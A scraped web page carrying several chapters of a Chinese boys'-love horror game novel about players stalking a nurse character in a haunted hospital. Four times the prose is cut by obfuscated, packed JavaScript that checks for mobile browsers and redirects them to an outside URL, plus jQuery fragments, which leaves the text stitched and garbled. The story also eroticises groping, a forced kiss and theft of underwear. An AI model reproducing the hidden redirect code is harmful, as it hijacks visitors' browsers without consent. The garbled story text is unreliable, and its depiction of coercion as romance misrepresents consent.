;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723218|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口津,全部吞咽入腹。 那甜蜜的滋味让他几乎难以自持,整个人都陷入一种轻飘飘的情绪之中无法自拔。 至于什么洁癖,早已完全抛诸脑后。 怎么可能嫌他脏。 只想要更多、更多的…… 眼前浮现出罗荔那张巴掌小脸。那么无辜失措地望着他,张开红软唇瓣仰望,什么都不懂似的。 太…… 太他妈色了。 …… 康驯叼着手电筒,将最后一道锁解开。 员工宿舍位于医院一楼,外面是大厅,走进来是更衣室,然后才是宿舍。如今医院处于完全封锁的状态,每个地方都重重上锁,闯入实非易事。 怪不得安德烈说没有时间继续搜,这地形,能走下来就不错了。 员工宿舍就在眼前,很多个房间,而安德烈只给了一把钥匙。 莫名的,康驯想起了他说过的话。 更衣室隔间有很多,但能进去的,只有挂着罗荔名牌的那间。 游戏不可能把每个细枝末节都安排上,很可能只留下最关键的地方。 这钥匙,会不会也对应着罗荔的房间? 等他反应过来时,只听“咔哒”一声,手里的钥匙已经打开了面前房门。 这是罗荔住的地方。 里面很黑,小护士不在。康驯持着手电筒扫过,看到那只小床。 没什么特别的,只不过是最普通的乳白色床单被罩,被子叠成软塌塌的豆腐块,小枕头整齐地码上去。 一件深黑的睡衣叠起放好,除了颜色和罗荔的气质不怎么搭,也没什么特别。 ……等等。 康驯拎起睡衣,手电筒照过的地方,金色刺绣格外醒目。 而在安德烈拿回来的那条蕾丝小内裤上,似乎也有这样的刺绣。 与此同时,他也敏锐地察觉到,这睡衣的尺码,是属于一个成年男性的。 刺绣是个单词的样式,康驯很快就拼读了出来。 阿伽门农。 好熟悉的名字。 康驯的脑海中一瞬间掠过那几段文字,那是他们在刚刚进入这个游戏时,获取的背景信息。 【诡异的深山医院内,院长阿伽门农已经许多年下落不明,而医院却依旧运转着】 【据说,院长曾有一位养子。为了夺得养父的爱,年幼的养子不惜男扮女装,成为院长畸形的情人】 【这段畸恋的发展尚不可知,或许唯有将院长从养子的病态爱意中解救出来,才能获得逃离医院的机会】 什么样的人会有院长给的情.趣内衣,藏着院长的睡袍? 院长的情人。 难不成,是罗荔? 可是背景介绍中所说的病态养子,无论如何,都很难和那个小护士联系到一起。 太荒谬了。 康驯心绪复杂,攥着那件睡衣,竟不知何去何从。 恰在此时,门外传来了脚步声,仿佛有人即将推门而入。 逃走已经不可能了,情急之下,康驯掷出一枚飞镖,打破了房间的灯。 这样,在黑暗之中,他能为自己多争取些时间。 “吱呀”一声,门被打开了。 康驯躲在漆黑笼罩的床角,压紧呼吸不作声。 只听两声软绵绵的哼唧,有点像哭,又有点撒娇的意思。 “小七,凌屿弄得我身上好痛。” 床板一晃,小东西坐了上来。 很疲惫的,也没有开灯的意图,就这么往后一靠。 随后,又软又热的,圆润挺翘的小屁股,坐在了康驯的手背上。 不怎么舒服似的,摇着小腰蹭了蹭。 却贴的更紧了。 8. 008 意识到是什么东西坐在自己的手背上,康驯浑身“腾”得一下烧了起来。 两人的肌肤间隔着一层被角,大概也是因为这样,罗荔没有察觉。 小护士叽叽咕咕地抱怨着什么,把脚上的小皮鞋踢开,翘着圆润足尖,踩在床单上。 康驯屏住呼吸后退,好在这家伙真的只有小小一只,全躺上来也只占了一个床角,自己还有很宽阔的藏身空间。 随着“她”在身边躺下,那股叫人晕眩的甜稠香气也愈发浓郁。“她”好像想脱衣服,但是又很累,两条腿夹紧乱蹭,好像这样就能在一蹭一扯中把丝袜脱下来似的。 坐在康驯手背上的触感也更加鲜明了。 他努力让自己想些别的事情来分散注意力。可是身边人的存在感实在太过强烈,不论怎么扭转注意力,都无法忽视那一阵一阵往鼻子里钻的香气。 听见小护士甜甜的嗓子翘起尾音:“小七,你是不是生气了?” “没生气为什么不说话。” “切,就知道你天天闹别扭。以后我要养一条听话的狗狗,然后就不要你了。” 房间里哪有别人。 罗荔是在和谁说话? 康驯意识到自己该离开了,可不知怎的,他却难以从这香软的小床上挪动半步。 唯一能做的,就是极缓慢的,把自己的手从那温热的肤肉下抽离。 指腹触碰到的地方一片滑腻,那皮肤简直像是涂了十几层的香腻子,又软又嫩。 康驯越来越怀疑自己方才的猜想。此刻躺在身边的“少女”,与他印象里男扮女装的异类大相径庭,怎么看也和那个变态养子不沾边。 可……那件睡衣,到底该怎么解释? 心绪不宁之时,罗荔却忽然动了一下身子。 一面打着软软的哈欠,一面捏着让他不舒服的丝袜边缘,往下扯了些。 康驯起初还没意识到罗荔在做什么,直到他的手终于抽了出来,与此同时,一只刚刚脱下的白丝袜落在手边。 掌心冷不防地按在了柔软的丝袜上,碰到布料上残留的体温。 他的呼吸几乎是瞬间绞紧了。 尽管康驯已经二十五岁,但他常年训练、实战,每天都是跟一群五大三粗的老爷们大眼瞪小眼,心智和那些碰一下女生手就脸红的男高没什么区别。 让一个血气方刚的暴躁处男,亲手碰到女生的丝袜…… 更何况,还是刚刚,就在他旁边脱下来的。 香气扑鼻的,沾了一点点薄汗的丝袜。 不,这不对劲。康驯一个深呼吸。平常队里也碰见过美艳的女杀手,他可从来没像现在这样过。 一定是错觉…… 罗荔想开灯,可是按了几下开关,灯也没有亮起。 “灯坏了?” 看不见的话,就不好换衣服了。 更衣室的灯应该还没坏,在那里换好之后再回来吧。 他此时还没有察觉到异样,摸到一旁放着的睡衣,便跳下小床推开房门。 康驯终于舒了口气。 确定罗荔走远后,打开手电筒最小档的光线,打算离开。 然而刚刚走出几步,便听见了异样声响。 迟缓而笃定的脚步声传来,正在往更衣室的隔间走。 那脚步声绝对不是小护士的,而是属于另一个男人。 探险队的玩家,只有他才会在今晚到这里来。这个男人不是玩家的话,会是谁? 他……又有什么目的? 鬼使神差的,康驯潜行着跟了过去。 更衣室昏暗的光线照出那男人的身形,看不清具体着装,只有挺拔的剪影。 他把手放在了隔间的门把上。 罗荔似乎也注意到了来人。 但他不知道,安德烈在偷走内裤的时候,已经破坏了这个隔间的锁。 现在谁都能打开这扇门。 “谁……呜!” 罗荔被人从背后紧紧搂住了。 紧接着,隔间的门一下子关上。康驯暗叫不好:还没能看清这男人的脸。 这下什么都看不见了,只能听见低低的声音从隔间内传来。 “荔荔。” 罗荔根本不敢抬头,这地方本来就狭窄,多个人进来,更是腿都伸不开。 更何况,身后的人还弯下腰,伏在他颈侧,发疯般蹭着。 “你想我了么?” “我每天都在想你。想你下了班以后就过来找我,像以前一样,在我的床上睡得又香又甜。” 这男人的声音压得很沉,宛如絮絮爱语,十分温情脉脉。 可身体的动作却一点也不温柔,像那天一样,有些粗暴地揉弄着罗荔的小腿,而后慢慢向上,捉住他的裙角。 像是要强行把他的裙子脱下来。 罗荔茫然睁着杏眼,根本不知道这人想要做什么。 一抬头,又看见面前贴的字报。 【医院严禁员工恋爱】 【医院严禁员工与病人恋爱】 【如有地下恋情被发现,XXXX】 “没事的,宝宝,别担心。我们的事不会被发现的。” 男人把手撑在了那张字报上,遮住猩红的标语。 随后,罗荔感觉身后的人把手探进了他并紧的膝盖之间,双手按住他的膝弯,轻轻分开。 “怎么这么抗拒?” 那人不慌不忙,轻轻捏住他的尖下巴,“你是不喜欢吗?” “不。不对。荔荔不可能不喜欢。” “明明知道孟虎对你揣着什么心思,不还是要给他做特殊治疗?” “还有那个院长……你这些日子一直不见我,是怕我看出来吧?” “所以,只是不想和我吗?” 薄粉圆润的足趾,雪白的脚背,踩在冰冷的瓷砖上,被冻得有些发红。 再往上,则是线条柔软的双腿。蜷起身体后显得裙子愈发短了,只靠一点可怜的布料费力地裹着,凹陷出清晰的痕迹。 ……穿成这样,孟虎怎么可能不会搞错。 心机爱美的年轻小护士,每天上班时都特意卷裙角、穿白丝,是为了吸引谁的注意力? 明明“她”已经有男朋友了。 在自己的男朋友面前,却连头都不敢抬。 这么不想看见他? 罗荔的肩头瑟缩着,身后人说的话,他一点也搞不懂。 到底是怎么回事…… “叮,资料已更新。” 【玩家:身份暂未探明】 【病症:臆想症(50)】 【该玩家患有臆想症,会构建出不存在的记忆,并把一些正常的事情扭曲成不正常的情况,并产生多疑、猜忌情绪】 【提示: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723219|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臆想症玩家无法自愈,必须依靠外界现实的强烈刺激来打破臆想。】 所以这意思是……必须通过一些现实行为来刺激他,才能让他认清自己是在臆想? 虽然罗荔很想完成加重病症的任务,但眼下这个情况,还是先摆脱他的纠缠比较好。 ……康驯站在门后,越听越不对劲。 他不喜欢罗荔,但是如果女生在自己面前被人骚扰,他也不能坐视不理。 而就在他要破门而入的时候,却听见一声低低娇嗔。 “我、我肯定不想啊。” “你难道以为我很闲吗……” 衣物摩擦窸窣,像是嫌弃被对方碰到了身体 小护士嗓音清甜,说话却一点也不留情:“有见你的时间,我还不如多做一点工作,还能多挣点钱。” 身后男人动作一顿,长时间的沉默过后,低笑起来。 “挣那么多钱干什么?是觉得我养不起你吗?” 罗荔没办法理解。 什么叫挣那么多钱干什么,钱再多都不嫌多好不好。 “宝宝那点工资,再加班也挣不到太多的。” “如果有需要可以跟我说,何必给那群男的做什么性服务。” “毕竟,我是你的男朋友。这是我该做的。” 怎么他还在一口一个男朋友男朋友。 难道是自己说的还不够清楚吗? 罗荔加重了几分语气:“我……我想做就做了,你别多管闲事好不好!” 上翘的尾音还没完全从齿缝里挤出来,那男人便用胸膛紧紧贴住了他纤薄的脊背。 “我说了,有需要可以跟我说。我是你的男朋友。” “不只是钱。宝宝的生理需求,我也一样可以为你解决。” 罗荔愣了一下,听出了他的言外之意。 他的脸蛋一下子就烧了起来:“你、你什么意思!你难道觉得,我去做特殊治疗,是,是因为……” 他无论如何也说不出“欲求不满”这四个字。 “不是这样吗?” 男人卷着他褪色的裙边,“你平日里物欲那么低,应该不是为了钱吧。要真是为了钱,跟我……不是能拿到更多吗?” 他的意思很隐晦,但罗荔还是接收到了言语里的暗示。 这个人认定了他就是生理需求旺盛,想去找别的男人发泄。 臆想症真的太讨厌了…… 到底什么程度刺激才能让这个人清醒一些! 罗荔全身泛红,拼命挣扎,不知怎的,一句没有经过思考的话脱口而出。 “我就是想和孟虎……又怎么样?反正,只有他才能满足我,我才不想在你身上浪费时间!” 听到这里,康驯的小腹瞬间绷紧。 靠。 这还用得着自己多管闲事? 他只是觉得有些大跌眼镜。 毕竟小护士表面上看起来那么清纯。 没想到,也会说出这种话来。 扣在腰间的手并没有松开,在听到这句话以后,男人的呼吸骤然变得粗重了。 他低下头,亲吻罗荔的后颈,声音掺了一些焦躁。 “只有孟虎才行?是因为他有瘾么?” 罗荔脑子里有一瞬间的空白。紧接着,身后人便振了一下腰,炽热的靠近他。 “你觉得,我没有吗?” 9. 009 喑哑低沉的嗓音,在狭窄的更衣间内环绕,每一个字都分外清晰。 员工宿舍的更衣室与外界隔绝,倘若真的做点什么,声音也很难被外面的人听见。 更何况现在已经这么晚了。 身后入迫切的想要证明什么似的,窸窸窣窣传来一些解开衣服的声音。 不是罗荔的衣服,是他自己的衣服。 他难道是想—— “推开他!” 007忽然厉声开口,用从未听过的冰冷语气。 罗荔陡然清醒过来,奋力挣脱。 可他的力气还是太小了,刚刚和男人分开一些,便又被对方搂进怀中。 该怎么办…… 恰在此时,门外突然传来了几名护士走动的声音。 似乎是有人要进到更衣室里来了。 男人不满地啧了一声,松开了罗荔。 罗荔怔怔的,在这时候才抬起眼皮。 男人戴着医用口罩,微弱光线下,只能模糊地看见一点眉眼轮廓。 他把隔间的门推开,恋恋不舍地在男孩的长发上落下一个吻,缓慢离开了更衣室。 而留在自己手中的,是一沓厚厚的钞票。 罗荔惊魂未定,这时候才想起更衣室的大门。 刚刚明明是锁了的,但现在不知怎么打开了。 是自己记错了吗? 他沉浸在恍惚中,全然没有注意到暗处康驯投过来的目光。 漂亮娇小的小护士,站在隔间门口,裙子短得大片雪白大腿肉都露在外面,白丝袜只剩一只,胸前纽扣敞开两颗,差点能看见白嫩嫩的小胸脯。 手里还紧紧攥着一沓钞票。 莫名的火气在身体里流窜。 康驯也不知道自己刚刚在发什么疯,居然把更衣室的大门给打开了。 他反复告诉自己,这只是绅士风度,他不想看见女生在自己面前被侵犯。 可是…… 万一“她”根本就是巴不得那男人对自己做点什么呢? 长了一张无辜可怜的柔弱脸蛋,就这么轻而易举地把钱骗到手。亏他还被这表象蒙骗,还因为当时把“她”弄哭了有些介怀…… 自己真他妈是病的不轻。 康驯自嘲一笑,顺着漆黑走廊,离开了员工宿舍。 等走出挺远,才后知后觉地松开攥紧的拳头。 掌中汗津津的,一直无意识握着的东西这才被他注意到。当时鬼使神差拿走的这只白丝袜,此刻已经被汗打湿,变成了半透明的。 怎么把那家伙的袜子顺回来了? 脑子里一瞬间闪过还回去的念头,但很快就被康驯给打消了。 还什么还。他自暴自弃地想,有的是男人会给那漂亮小护士买新的。再说,上面全是自己的汗,想也知道会被罗荔嫌弃。 他就是把这袜子拿走,又能怎样? 这么想着,康驯干脆把白丝袜一折,塞进了裤兜。 可插.进兜里的手却迟迟没有掏出来,手指蜷曲着,碰一下那丝袜的边缘,就赶紧弹开。 像做了什么亏心事似的。 …… 罗荔回到宿舍后,仍然有些魂不守舍。 那个陌生男人说的话他一点也听不懂,而且即便是自己都说的那么清楚干脆了,对方的臆想症仍然没有被打破。 如果不是更衣室的门恰好打开,真不知道会有什么后果。 可是……他到底是谁? 罗荔满心疑惑,根本没有注意到房间里的异样。 007沉默半晌:“明天,病人们会集中前往三楼,进行精神治疗。你可以借此机会寻找线索。” “精神……治疗?” “是该副本的一场大逃杀。治疗过程中,玩家会遭遇医院内的怪物追击,并持续提升病重值。如果病重值过高,或者被怪物重伤,玩家会被淘汰。” 007难得委婉了些,把“死亡”说成“淘汰”,以免让罗荔于心不忍。 “另外,到现在为止,你对自己的身份有什么猜想吗?” 罗荔拿出了从凌屿那里带回来的蕾丝小内裤。 他也注意到了上面的刺绣,勉强看得出来,是一串文字。 罗荔费劲地拼了出来:“阿伽……门农。感觉好像一个人的名字。” 等一下。 这座医院的院长,不就叫阿伽门农吗?! 这件睡衣,还有这个内衣上,为什么都会有这个人的名字。 “难不成,这个内衣是他送我的?” 能送这种东西给他…… 或许说明,他和院长之间的关系非比寻常。 话音刚落,新的进度提示便显示了出来。 【当前身份探索进度:30%】 【进度奖励:小皮鞭一条】 鞭子落入手中,旁边的注释格外醒目。 【一条软革鞭子,可做攻击道具使用。打人的疼痛程度取决于你的力气,运气好的话,也许能对玩家造成伤害】 什、什么叫运气好! 别的怪物都是一口咬死一个,结果到了自己这里,能不能造成伤害,全看运气吗? 罗荔捏了捏软软的鞭子尖端,总觉得,十分憋屈! 就不能给他把刀或者枪当道具吗?! 007有点幸灾乐祸:“看起来你的运气不算太好。” 罗荔偏要嘴硬:“才不是!我打人很疼的!走着瞧好了!” “呵,也许吧。” 疼不疼倒是另说。 只希望到了大逃杀的时候,不要有人上赶着挨抽就好。 …… 次日,山里下起了瓢泼大雨。 医院外电闪雷鸣,阴云压了一层又一层,空气闷热潮湿,直教人憋得几乎喘不过气。 除了拿到护士身份的陆妍妍以外,康驯,凌屿,安德烈,都需要参与接下来的大逃杀。 呈现在三人面前的,就是通往三楼的楼梯。 他们需要在封闭已久的三楼寻找药剂注射,减弱病重值,并且提防藏在暗处的怪物,同时寻找线索,推进拯救院长的主线。 而陆妍妍则会跟随护士npc们先行进入三楼,暗中为他们做好逃生标记。 【我草,不愧是大名鼎鼎的恶心副本,这么快就要追击战了】 【对啊,据说这副本的推理难度几乎为零,属于是拿到线索就能推出来的小学生剧情,恶心就恶心在追击战】 【想起来了,是说护士会把真药藏起来,给假药是吧?妈的,辛辛苦苦找到药了还不能吃,真是闹麻了】 凌屿将对讲机分给康驯和安德烈。 “三楼正好有三条岔路,我们分开走,路上通过对讲机联系。不出意外的话,一个小时后可以搜到中央大厅,到时候在那里集合,一起杀掉污染源。” 这是绝大多数玩家会选择的通关策略,没什么可质疑的,康驯和安德烈都点了点头。 三楼大雾弥漫,仅有闪烁的老旧白炽灯提供一些光亮。陈朽的妇科病房里,悄悄的响起轻盈脚步声。 罗荔跟随着【追踪】的光亮,一间一间病房搜寻。 为了减弱病重值,玩家需要找到抑制药物。因此这种药物自然也是线索之一,可以被追踪定位。 罗荔美滋滋的,从一旁拿了只旧药盒,将药片一粒粒藏进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723220|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要玩家找不到药,那病重值不就会一直升高了吗? 就是不明白,怎么这药物和小孩子吃的糖衣药片混在了一起,都放在床头那些花花绿绿的糖罐里。 对于这种举措,罗荔并不陌生。小孩子都不爱吃药,所以医生护士会想方设法的把药片弄得跟糖果一样,很有迷惑性。 而玩家的抑制药物混在这些糖衣药片里面,也难找得很。 “其实你可以直接把这些药物销毁。”007提醒。 罗荔犹豫了一下:“嗯……还是不要了吧。” 他只是想玩家们逃不出医院,通不了关而已,不想搞坏他们的身体。 毕竟得病那么难受,他最知道了。 如果玩家们乖乖的留在医院,罗荔不会不给他们吃药治病的。 所以他只是把药一颗颗收好,装进小药盒,小心地保护起来。 而就在这时,感觉有手电筒的光亮打了过来,脚步声也越来越近。 007说:“是凌屿,他找到这里了。” 这么快?! 明明才刚刚开始不到十分钟呀! 007冷静地分析着:“这里没有藏身的地方,先把装着药的盒子藏起来吧。” 罗荔飞快扫视四周,放哪里他都不放心,而凌屿却眼看着就要推门而入了。 情急之下,干脆把药盒塞进了短裙一侧的口袋。 他能清晰地看见凌屿的病重值,短短几日不见,已经飙升到了70,而且还在上涨着。 想起这人那一晚的神情,现在还有些后怕。 抱他抱的那么紧,现在身上还有些痛呢。 今天,不会又…… 吱呀一声,病房的门被推开了。 凌屿穿着深灰衬衫,手电筒的光照亮他的下颌,英俊冰冷,处变不惊。 倒是一点也没有那天晚上的失态了。 看见罗荔以后,那双深邃眼睛眯了起来:“是你?” 他的喉结滚动了一下,罗荔下意识后退半步。 他似乎欲言又止,气氛一时有些尴尬。 罗荔想找个借口溜掉,却猛地听到一声低喝:“小心!” 只听轰然巨响在耳边炸开,有什么庞然大物将墙体撞塌,流着涎水的猩红巨舌盘绕着,从塌陷的墙洞中急速冲出! 罗荔完全呆傻在原地,那巨大的、满身脓液的怪物俨然距他仅有半米之遥,而在这千钧一发间,“噗”的一声,半截锋利的钢管穿透怪物的喉咙,将它用力钉在了地板上。 暗红色的鲜血飙了出来,却没有半滴溅在罗荔的身上。 凌屿挡在他面前,衬衫被血液染红,而他只是目不转睛地盯着那只挣扎着的恶心怪物,将钢管刺进更深。 一直到怪物的嘶吼声减弱,倒在地上,失去声息。 凌屿起身,将钢管拔出。怪物的尸体被他踹到一旁,而他一句话也没说,走到旁边的柜台上,开始翻药。 ……而真正的药,现在在罗荔身上。 007:“趁这机会,快走。” 可罗荔……动不了。 脚边就是满地的鲜血,还有腥臭的怪物尸骸。被撞开的墙体里幽黑一片,不知道还会不会藏着第二只。 他害怕得完全忘记自己是个boss,只觉得双腿发软。 哪里还走得开。 “怎么,吓得走不动?”凌屿搜索着柜子,头都没抬,“怪物已经死了,难道还要我抱你过来吗?” 他觑过目光,“那天晚上被我搂着,不是很不情愿吗?” 那声音淡淡的,捏着药瓶的手指却上下摩挲,藏着恶劣。 “要不然……你求求我?” 10. 010 【hello?凌总你要不要听听自己在说什么?】 【明明一滴血都舍不得我老婆沾上,现在说这话是想讨打吗?】 【不许!小公主要打也先打我!】 【抱歉但我真的很想听荔荔求人啊,求求你求我吧,老公什么都会给你的】 【前面的那位你有点雷人了】 罗荔粉白的手指绞紧裙边。 他虽然胆小,但也是很有骨气的!才不会求面前这个衣冠禽兽! 不蒸馒头争口气,绝不能被凌屿看扁了! 于是反复深呼吸,轻轻抬起干净的小皮鞋,尝试着踩在那尸体旁边一块干净些的瓷砖上。 谁知,偏偏在这时候,那看起来死透了的怪物,忽然浑身一颤,温热的血从脖子里喷出,溅在了罗荔的右腿上。 “啊啊啊啊啊!” 小护士顿时尖叫起来,跌跌撞撞地向前一扑,胸口贴上了凌屿的手臂。 他像抓住救命稻草似的拽住凌屿的袖口,眼眶都湿润了,断断续续道:“它、它还活着,凌屿,救、救……” 救了半天,想象中要撕咬上来的怪物也没有动静。 一抬头,对上凌屿意味深长的眼睛。 罗荔顿时意识到了什么,触电一般,松开了他的手。 再回头,那怪物毫无反应,刚刚那一下动弹,只是临死前的抽搐。 就是这么点小事而已。自己却被吓成这样。 ……可恶。 好丢脸。 不仅被看扁了,而且只能扁扁地走开。 小护士的脸颊都红透了,口罩也遮不住。软白的手心抵着雪腮,像是要用手捂住脸蛋。 凌屿倒是没说什么,看上去毫不在意似的。 而落在桌角的手却收紧了,心脏也越跳越快。 好可爱。 怎么能这么可爱。 刚刚扑上来的时候,贴近自己手臂的那一小块胸脯,又嫩又娇,带着暖暖的体温,无意识地蹭蹭,像是摸到兔子软乎乎的肚皮。 只这一下,那种叫他呼吸不上来的焦躁便又开始翻涌起来。 心不在焉地把一只柜子翻了半天,没发现什么名堂。 可任务指引明明说这里有抑制药物,不可能出错的。 凌屿望向罗荔片刻,心中的猜测逐渐成型。 “……要不要一起走?” 罗荔眨眨睫毛:“什么?” “这里时不时就会有怪物乱窜,你难道想刚刚的事再发生一次?” 凌屿自顾自地往门外走去,“我要寻找一种特殊的药,你是护士,应该更容易分辨。” 罗荔这才想起来,自己也是boss,那些怪物怎么会攻击他? “会的。” 007冷不防地冒了出来,“虽然不是常态,但它们这种等级更高的boss,在必要的时候,会吞噬你这种初级boss来成长。这是副本清理小怪,减少负荷的机制。” 什么大鱼吃小鱼啊!! 罗荔很屈辱地低下头,慢吞吞的,蹭到了凌屿身边。 “好吧。” 凌屿打开手电筒,拔出钢管,往下一个房间搜寻。 大雾弥漫,老旧的灯管吱嘎作响,任务指引也越来越模糊。凌屿清楚,这是渴肤症加重的迹象,自己的精神值在不断下降。 他握紧钢管的手上青筋暴起,努力平复气息开口。 “你手上受伤了。” 罗荔一愣,抬起手来一看,上面果真留下了一道淡淡的擦痕。 应该是刚刚躲怪物的时候不小心蹭到的。 “我看看。” 凌屿不容分说地把那只小手捉了过来。 牛乳般的肌肤上,只能看得见一点极浅的红痕。那手比他小了一圈儿,乖乖搭在他的掌心,简直像是小动物的肉垫。 不知怎的,脑中竟涌上一股怪异冲动:想舔舐“她”的手背,用舌头下流地勾着“她”的手指吮吸,索取这指缝间的香气。 而罗荔好像也意识到他的目光灼热得不对劲,想轻轻地把手抽回。 却被凌屿骨节分明的手指强硬地撑开指缝,与他十指交扣。 这时候才注意到,凌屿手上的戒指不见了。 “别误会,那不是婚戒。” 这男人自顾自的开口,好像罗荔真误会过什么似的。 “来这里之前,外面总有人想往我身边靠。戴上那个戒指以后,媒体说我隐婚,索性就认了下来,不三不四的人果真少了许多。” 双手交握的时候,那股焦躁感终于削减了不少。 罗荔的步子小,走在他身边的时候,垫着脚无意识地一跳一跳,更像只小兔子了。 家里的人总说,结了婚就好了,有人能照顾你。 凌屿一贯不以为然,如果结婚是为了让一个陌生人背负上照顾自己的责任,那他觉得毫无必要。 怎么可能有人心甘情愿地去照顾谁。 但…… 如果那个人是罗荔呢? 凌屿瞥到他手上的那点红痕,还有渗出的丝丝血珠。 ……别说嫌照顾“她”麻烦了,就是罗荔稍稍擦破点皮,他感觉自己都要发疯。 “还有,那天晚上的事,希望你别介意。” “我并没有什么低俗的癖好,只是患上了棘手的疾病。如果不想办法减轻症状,会很麻烦。” “或许也有别的措施吧,但是……” 衣兜里的对讲机嘶啦轻响,医院另一端的康驯踩着怪物脖子,刚想开口,就听见凌屿的声音传来。 “你的内裤,很香。” “珍珠也是甜的。” “我无法控制自己去想象,想象你正在穿着它,在上面沾满你的气味。” 康驯大脑一空,难以相信自己的耳朵。 随后,罗荔清甜的、掺着恼火的嗓音也从对讲机中传来:“那、那你也不能舔吧……” 仿佛能看见小护士咬紧唇珠,眼中满是嫌恶,耳尖却越来越红的样子。 “好恶心……” 罗荔不想和这家伙牵手了,可是怎么也挣不开。 凌屿却依旧冷静:“你说的对,很恶心。这是病,我该想办法治好它,而不是骚扰别人。” 他忽然在一扇铁门前停下脚步。 “所以,你藏起来的抑制药物,可以给我了吗?” 罗荔怔住,一瞬间,全身汗毛倒竖。 他下意识地捏紧了腰兜里藏着的小皮鞭,害怕凌屿强行夺药。 嘴巴里支支吾吾反驳:“什么……药,我没拿。” “应该是特制的药片,护士小姐。原本在刚刚那个病房里,但我去的时候,已经没有了。” 凌屿的目光在那身粉白色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723221|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的护士服上扫过,“你右侧的裙兜里,那只药盒,是么?” 小裙子有两个侧兜。一个里面放了小皮鞭,另一个则是药盒。 竟然被这男人一眼看穿了。 凌屿的掌心贴着背后的铁门,“这扇门后是手术室,你可以理解为刷怪笼。里面至少有三四只污染物,如果我推开,它们会立刻跑出来。” 罗荔想象了一下那个景象,颤声道:“不行,你……别开门……” 凌屿眉心一压,好像就要推门。 小护士终于惊慌失措,把药盒掏了出来。 打开倒在手心,花花绿绿,像是糖果。 “这里面,不是药,是糖。” “是我太、太馋了,才偷偷藏的。真的不是药……” 幸好这药藏在儿童病房,裹了糖衣,乍一看很能唬人。 他这也是急中生智,用尽脑细胞组织了这么一句,祈祷凌屿能够放过。 而凌屿却没有遂了他的心愿。 “既然是糖,那你吃一颗。” 吃一颗? 这混蛋……怎么又欺负人!! 罗荔在心里小声问:“我吃了会不会死呀?” 007:“不会,那药对你无害。” 罗荔松了口气,心一横,捏着一颗药片,拉下了口罩。 凌屿呼吸一滞。 又见到这张粉红饱满的漂亮小嘴了。 很吝啬地张开一点点,露出贝色的齿尖。无意识地探出小舌,轻抵下唇,将那一小块唇肉濡出淡淡的水光。 浅蓝色的药片塞进去,小护士的眉头拧紧,就要闭上嘴巴吞咽。 凌屿如遭雷击,这时候才想起阻止。 “她”怎么真的敢吃?万一吃出问题怎么办? “喂,你……” 小护士水圆的杏眼抬起,还没敢咽,药片藏在舌根,若隐若现。喉咙里发出软绵绵的哼,翘起的眼尾一点点浸红,好像是糖衣化去,尝到了苦味。 凌屿好不容易压下的病重值再次飙升起来。 他的理智顿时被潮水淹没,陡然扼住罗荔的尖尖下巴,对着那张小嘴,用力吻了上去。 要把药片弄出来…… 抱着这样的想法,男人的舌顶开小护士的牙关,一路长驱直入,侵略着湿软无力的粉舌。 黏糊香甜的口水渗过齿缝,已经完全感受不到药的苦味,只有叫人心跳加速的甜。 狭小紧窄的口腔,徒然地抵御着凌屿舌尖的冲撞,却因为收紧和抗拒,让男人愈发兴奋。 盘绕、吮吸着罗荔的小舌,把灼热的吐息,蛮横地灌进他的口腔。 这几乎已经不是亲吻,而是索吻。 下.流的、欲求不满的索要。 那药片早已不知所踪,凌屿丝毫没有感觉到病重值下降的迹象。 他也没有注意到,闪着亮光的对讲机,早就把这边的声响传递了出去。 康驯藏在黑暗中,外面是怪物的撞击,他本来应该全身心投入打怪。 而不是捏着这个破对讲机,耳朵贴在传声筒上,所有精力都被这里面的声音吸引了去。 很激烈的交吻水声,急促的呼吸交缠着,听的人脸红心跳。 在那缠绵的间隙中,时不时的漏出一点软甜的低哼,像是被压得喘不过气来,委屈又无力。 罗荔被凌屿强吻了。 11. 011 这畜生…… 还有他刚刚说的什么?什么内裤? 凌屿到底在自己不知道的地方干了多少缺德事? 身后的怪物嚎叫起来,康驯不耐烦极了,一转身,拔刀割下那恶心的头颅。 